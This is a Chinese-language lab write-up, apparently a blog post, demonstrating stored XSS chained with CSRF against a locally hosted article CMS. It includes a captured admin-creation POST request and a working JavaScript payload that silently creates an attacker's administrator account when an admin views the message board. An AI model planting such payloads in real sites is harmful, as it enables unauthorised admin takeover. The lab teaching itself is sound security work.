• xss+csrf项目实例


    项目背景:

    如下:我们是在一个类似文章管理系统的网站上面发现的该漏洞。我们将其运行在本地的phpstudy集成环境上面。

    源码地址下载链接:https://pan.baidu.com/s/1MpnSAq7a_oOcGh4XgPE-2w 
    提取码:4444

    考察内容:

    本次实验使用的存储型xss与csrf的联合使用。我们使用这两个漏洞可以使当管理员查看留言板后自动触发,使其自动创建一个管理员账号。本网站并没有使用token值来防止csrf,所以我们才能够利用。

    前提:我们是在拥有管理员权限的情况下进行的。

    大致流程:

    1:分析,发现存储型xss漏洞

    2:发现该网站并无token值,可以进行csrf

    3:使用js伪造创建管理员的form表单

    4:当管理员查看留言板后自动触发xss,创建一个攻击者自己定义的管理员账号。

    开始实验:

    1:发现存储xss

    发现该网站存在一个留言板,其中的内容会存入数据库中,管理员会不定期去查看留言板中的内容。如下:经过测试我们发现当我们将恶意的js代码放到内容板块中存入数据库,当管理员去查看留言信息后就会自动触发js恶意代码:

    管理员查看留言板:可以发现自动弹窗了,说明这里存在一个存储型xss。

    2:该网站并没有使用token值来防止csrf,接下来我们使用抓包工具burp suite来抓创建管理员的包,需要打开代理设置,指向抓包工具burp suite(这个操作比较简单,不会的可以进行百度):

    创建管理员页面:

    抓包:

    1. POST /admin/user.action.php HTTP/1.1
    2. Host: cms:1234
    3. Content-Length: 94
    4. Cache-Control: max-age=0
    5. Upgrade-Insecure-Requests: 1
    6. Origin: http://cms:1234
    7. Content-Type: application/x-www-form-urlencoded
    8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
    9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    10. Referer: http://cms:1234/admin/user.add.php?act=add
    11. Accept-Encoding: gzip, deflate
    12. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    13. Cookie: username=admin; userid=1; PHPSESSID=0m903rglk205acbq8ol191q271
    14. Connection: close
    15. act=add&username=2&password=2&password2=2&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

    通过对抓到的包分析:我们可以发现该包使用的是POST方式进行提交,将参数提交到/admin/user.action.php进行处理。所以我们就可以根据这个包中的内容进行伪造。

    3:使用js伪造创建管理员账号的form表单:

    1. <script>
    2. xmlhttp = new XMLHttpRequest();
    3. xmlhttp.open("post","http://cms:1234/admin/user.action.php",false);
    4. xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    5. xmlhttp.send("act=add&username=DJJ&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
    6. script>

    整个js的操作是创建管理员的操作,不过是由js自动触发。

    xmlhttp.open:提交地址

    xmlhttp.setRequestHeader:post的请求头

    xmlhttp.send:post中的参数(创建的账号,密码等)

    4:将伪造的恶意js代码上传留言板,当管理员查看留言信息后自动触发,创建一个新的管理员账号。

    5:管理员查看留言板,触发存储xss,创建管理员账号。

    如下:当我们查看留言板后,在去查看管理员账号信息发现已经自动创建了一个我们定义的管理员账号。

  • 相关阅读:
    Arcgis进阶篇(1)——安装Arcgis Enterprise,创建sde库
    背就有效!2024下《系统架构设计师》50个高频考点汇总
    骨传导耳机哪个牌子好?骨传导好用的品牌推荐
    使用TF-IDF对文本集中的单篇文本制作词云
    Redis实战篇
    如何通过数据治理为智慧水务增效赋能?
    sql索引分析-插入了 a、b、c、d 四个字段作为索引,只要带上了a,那么任何排列的组合,都可以走索引。
    【CSS3】CSS3 3D 转换 ① ( CSS3 3D 转换简介 | 3D 物体与 2D 物体区别 | 3D 空间坐标系 | 常用的 3D 转换属性 | 3D 位移转换语法 | 代码示例 )
    玩具机器人脚本适合场景
    如何列出 Ubuntu 和 Debian 上已安装的软件包
  • 原文地址:https://blog.csdn.net/qq_64302290/article/details/139727300